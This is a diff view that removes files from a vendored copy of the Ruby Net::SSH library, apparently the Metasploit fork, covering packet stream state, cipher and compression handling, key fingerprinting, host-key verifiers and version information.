# #poll_message will return packets from the queue in the order they
# were received.
def push(packet)
@queue.push(packet)
end
# Sends the given message via the packet stream, blocking until the
# entire message has been sent.
def send_message(message)
socket.send_packet(message)
end
# Enqueues the given message, such that it will be sent at the earliest
# opportunity. This does not block, but returns immediately.
def enqueue_message(message)
socket.enqueue_packet(message)
end
# Configure's the packet stream's client state with the given set of
# options. This is typically used to define the cipher, compression, and
# hmac algorithms to use when sending packets to the server.
def configure_client(options={})
socket.client.set(options)
end
# Configure's the packet stream's server state with the given set of
# options. This is typically used to define the cipher, compression, and
# hmac algorithms to use when reading packets from the server.
def configure_server(options={})
socket.server.set(options)
end
# Sets a new hint for the packet stream, which the packet stream may use
# to change its behavior. (See PacketStream#hints).
def hint(which, value=true)
socket.hints[which] = value
end
public
# this method is primarily for use in tests
attr_reader :queue #:nodoc:
private
# Instantiates a new host-key verification class, based on the value of
# the parameter. When true or nil, the default Lenient verifier is
# returned. If it is false, the Null verifier is returned, and if it is
# :very, the Strict verifier is returned. If the argument happens to
# respond to :verify, it is returned directly. Otherwise, an exception
# is raised.
def select_host_key_verifier(paranoid)
case paranoid
when true, nil then
Net::SSH::Verifiers::Lenient.new
when false then
Net::SSH::Verifiers::Null.new
when :very then
Net::SSH::Verifiers::Strict.new
else
if paranoid.respond_to?(:verify)
paranoid
else
raise ArgumentError, "argument to :paranoid is not valid: #{paranoid.inspect}"
end
end
end
end
end; end; end
-207
View File
@@ -1,207 +0,0 @@
# -*- coding: binary -*-
require 'zlib'
require 'net/ssh/transport/cipher_factory'
require 'net/ssh/transport/hmac'
module Net; module SSH; module Transport
# Encapsulates state information about one end of an SSH connection. Such
# state includes the packet sequence number, the algorithms in use, how
# many packets and blocks have been processed since the last reset, and so
# forth. This class will never be instantiated directly, but is used as
# part of the internal state of the PacketStream module.
class State
# The socket object that owns this state object.
attr_reader :socket
# The next packet sequence number for this socket endpoint.
attr_reader :sequence_number
# The hmac algorithm in use for this endpoint.
attr_reader :hmac
# The compression algorithm in use for this endpoint.
attr_reader :compression
# The compression level to use when compressing data (or nil, for the default).
attr_reader :compression_level
# The number of packets processed since the last call to #reset!
attr_reader :packets
# The number of data blocks processed since the last call to #reset!
attr_reader :blocks
# The cipher algorithm in use for this socket endpoint.
attr_reader :cipher
# The block size for the cipher
attr_reader :block_size
# The role that this state plays (either :client or :server)
attr_reader :role
# The maximum number of packets that this endpoint wants to process before
# needing a rekey.
attr_accessor :max_packets
# The maximum number of blocks that this endpoint wants to process before
# needing a rekey.
attr_accessor :max_blocks
# The user-specified maximum number of bytes that this endpoint ought to
# process before needing a rekey.
attr_accessor :rekey_limit
# Creates a new state object, belonging to the given socket. Initializes
# the algorithms to "none".
def initialize(socket, role)
@socket = socket
@role = role
@sequence_number = @packets = @blocks = 0
@cipher = CipherFactory.get("none")
@block_size = 8
@hmac = HMAC.get("none")
@compression = nil
@compressor = @decompressor = nil
@next_iv = ""
end
# A convenience method for quickly setting multiple values in a single
# command.
def set(values)
values.each do |key, value|
instance_variable_set("@#{key}", value)
end
reset!
end
def update_cipher(data)
result = cipher.update(data)
update_next_iv(role == :client ? result : data)
return result
end
def final_cipher
result = cipher.final
update_next_iv(role == :client ? result : "", true)
return result
end
# Increments the counters. The sequence number is incremented (and remapped
# so it always fits in a 32-bit integer). The number of packets and blocks
# are also incremented.
def increment(packet_length)
@sequence_number = (@sequence_number + 1) & 0xFFFFFFFF
@packets += 1
@blocks += (packet_length + 4) / @block_size
end
# The compressor object to use when compressing data. This takes into account
# the desired compression level.
def compressor
@compressor ||= Zlib::Deflate.new(compression_level || Zlib::DEFAULT_COMPRESSION)
end
# The decompressor object to use when decompressing data.
def decompressor
@decompressor ||= Zlib::Inflate.new(nil)
end
# Returns true if data compression/decompression is enabled. This will
# return true if :standard compression is selected, or if :delayed
# compression is selected and the :authenticated hint has been received
# by the socket.
def compression?
compression == :standard || (compression == :delayed && socket.hints[:authenticated])
end
# Compresses the data. If no compression is in effect, this will just return
# the data unmodified, otherwise it uses #compressor to compress the data.
def compress(data)
data = data.to_s
return data unless compression?
compressor.deflate(data, Zlib::SYNC_FLUSH)
end
# Deompresses the data. If no compression is in effect, this will just return
# the data unmodified, otherwise it uses #decompressor to decompress the data.
def decompress(data)
data = data.to_s
return data unless compression?
decompressor.inflate(data)
end
# Resets the counters on the state object, but leaves the sequence_number
# unchanged. It also sets defaults for and recomputes the max_packets and
# max_blocks values.
def reset!
@packets = @blocks = 0
@max_packets ||= 1 << 31
@block_size = cipher.name == "RC4" ? 8 : cipher.block_size
if max_blocks.nil?
# cargo-culted from openssh. the idea is that "the 2^(blocksize*2)
# limit is too expensive for 3DES, blowfish, etc., so enforce a 1GB
# limit for small blocksizes."
if @block_size >= 16
@max_blocks = 1 << (@block_size * 2)
else
@max_blocks = (1 << 30) / @block_size
end
# if a limit on the # of bytes has been given, convert that into a
# minimum number of blocks processed.
if rekey_limit
@max_blocks = [@max_blocks, rekey_limit / @block_size].min
end
end
cleanup
end
# Closes any the compressor and/or decompressor objects that have been
# instantiated.
def cleanup
if @compressor
@compressor.finish if !@compressor.finished?
@compressor.close
end
if @decompressor
# we call reset here so that we don't get warnings when we try to
# close the decompressor
@decompressor.reset
@decompressor.close
end
@compressor = @decompressor = nil
end
# Returns true if the number of packets processed exceeds the maximum
# number of packets, or if the number of blocks processed exceeds the
# maximum number of blocks.
def needs_rekey?
max_packets && packets > max_packets ||
max_blocks && blocks > max_blocks
end
private
def update_next_iv(data, reset=false)
@next_iv << data
@next_iv = @next_iv[-cipher.iv_len..-1]
if reset
cipher.reset
cipher.iv = @next_iv
end
return data
end
end
end; end; end
-48
View File
@@ -1,48 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh'
require 'rex'
module Net
module SSH
# A place to define convenience utils for Net:SSH
module Utils
class Key
class << self
# Returns the fingerprint of a key file or key data. Usage:
# Net::SSH::Utils::Key.fingerprint(:file => "id_rsa")
# => "af:76:e4:f8:37:7b:52:8c:77:61:5b:d3:b0:d3:05:e4"
#
# If both :file and :data are provided, :data will be read.
# :format may be one of :binary, :compact, or nil (in which case colon-delimited will be returned)
# If the key is a public key, it must be declared as such by :public => true. Default is private.
def fingerprint(args={})
file = args[:file] || args[:f]
data = args[:data] || args[:d]
method = ((args[:public] || args[:pub]) ? :load_public_key : :load_private_key)
format = args[:format]
if data
fd = Tempfile.new("msf3-sshkey-temp-")
fd.binmode
fd.write data
fd.flush
file = fd.path
end
key = KeyFactory.send method,file
fp = key.fingerprint
case args[:format]
when :binary,:bin,:b
return fp.split(":").map {|x| x.to_i(16)}.pack("C16")
when :compact,:com,:c
return fp.split(":").join
else
return fp
end
end
end
end
end
end
end
-31
View File
@@ -1,31 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/verifiers/strict'
module Net; module SSH; module Verifiers
# Basically the same as the Strict verifier, but does not try to actually
# verify a connection if the server is the localhost and the port is a
# nonstandard port number. Those two conditions will typically mean the
# connection is being tunnelled through a forwarded port, so the known-hosts
# file will not be helpful (in general).
class Lenient < Strict
# Tries to determine if the connection is being tunnelled, and if so,
# returns true. Otherwise, performs the standard strict verification.
def verify(arguments)
return true if tunnelled?(arguments)
super
end
private
# A connection is potentially being tunnelled if the port is not 22,
# and the ip refers to the localhost.
def tunnelled?(args)
return false if args[:session].port == Net::SSH::Transport::Session::DEFAULT_PORT
ip = args[:session].peer[:ip]
return ip == "127.0.0.1" || ip == "::1"
end
end
end; end; end
-13
View File
@@ -1,13 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH; module Verifiers
# The Null host key verifier simply allows every key it sees, without
# bothering to verify. This is simple, but is not particularly secure.
class Null
# Returns true.
def verify(arguments)
true
end
end
end; end; end
-60
View File
@@ -1,60 +0,0 @@
# -*- coding: binary -*-
require 'net/ssh/errors'
require 'net/ssh/known_hosts'
module Net; module SSH; module Verifiers
# Does a strict host verification, looking the server up in the known
# host files to see if a key has already been seen for this server. If this
# server does not appear in any host file, this will silently add the
# server. If the server does appear at least once, but the key given does
# not match any known for the server, an exception will be raised (HostKeyMismatch).
# Otherwise, this returns true.
class Strict
def verify(arguments)
options = arguments[:session].options
host = options[:host_key_alias] || arguments[:session].host_as_string
matches = []
if options[:config]
matches = Net::SSH::KnownHosts.search_for(host, arguments[:session].options)
end
# we've never seen this host before, so just automatically add the key.
# not the most secure option (since the first hit might be the one that
# is hacked), but since almost nobody actually compares the key
# fingerprint, this is a reasonable compromise between usability and
# security.
if matches.empty?
ip = arguments[:session].peer[:ip]
if options[:config]
Net::SSH::KnownHosts.add(host, arguments[:key], arguments[:session].options)
end
return true
end
# If we found any matches, check to see that the key type and
# blob also match.
found = matches.any? do |key|
key.ssh_type == arguments[:key].ssh_type &&
key.to_blob == arguments[:key].to_blob
end
# If a match was found, return true. Otherwise, raise an exception
# indicating that the key was not recognized.
found || process_cache_miss(host, arguments)
end
private
def process_cache_miss(host, args)
exception = HostKeyMismatch.new("fingerprint #{args[:fingerprint]} does not match for #{host.inspect}")
exception.data = args
if options[:config]
exception.callback = Proc.new do
Net::SSH::KnownHosts.add(host, args[:key], args[:session].options)
end
end
raise exception
end
end
end; end; end
-64
View File
@@ -1,64 +0,0 @@
# -*- coding: binary -*-
module Net; module SSH
# A class for describing the current version of a library. The version
# consists of three parts: the +major+ number, the +minor+ number, and the
# +tiny+ (or +patch+) number.
#
# Two Version instances may be compared, so that you can test that a version
# of a library is what you require:
#
# require 'net/ssh/version'
#
# if Net::SSH::Version::CURRENT < Net::SSH::Version[2,1,0]
# abort "your software is too old!"
# end
class Version
include Comparable
# A convenience method for instantiating a new Version instance with the
# given +major+, +minor+, and +tiny+ components.
def self.[](major, minor, tiny)
new(major, minor, tiny)
end
attr_reader :major, :minor, :tiny, :msf3
# Create a new Version object with the given components.
def initialize(major, minor, tiny)
@major, @minor, @tiny = major, minor, tiny
@msf3 = true
end
# Compare this version to the given +version+ object.
def <=>(version)
to_i <=> version.to_i
end
# Converts this version object to a string, where each of the three
# version components are joined by the '.' character. E.g., 2.0.0.
def to_s
@to_s ||= [@major, @minor, @tiny].join(".")
end
# Converts this version to a canonical integer that may be compared
# against other version objects.
def to_i
@to_i ||= @major * 1_000_000 + @minor * 1_000 + @tiny
end
# The major component of this version of the Net::SSH library
MAJOR = 2
# The minor component of this version of the Net::SSH library
MINOR = 0
# The tiny component of this version of the Net::SSH library
TINY = 12
# The current version of the Net::SSH library as a Version instance
CURRENT = new(MAJOR, MINOR, TINY)
# The current version of the Net::SSH library as a String
STRING = CURRENT.to_s
end
end; end

Some files were not shown because too many files have changed in this diff Show More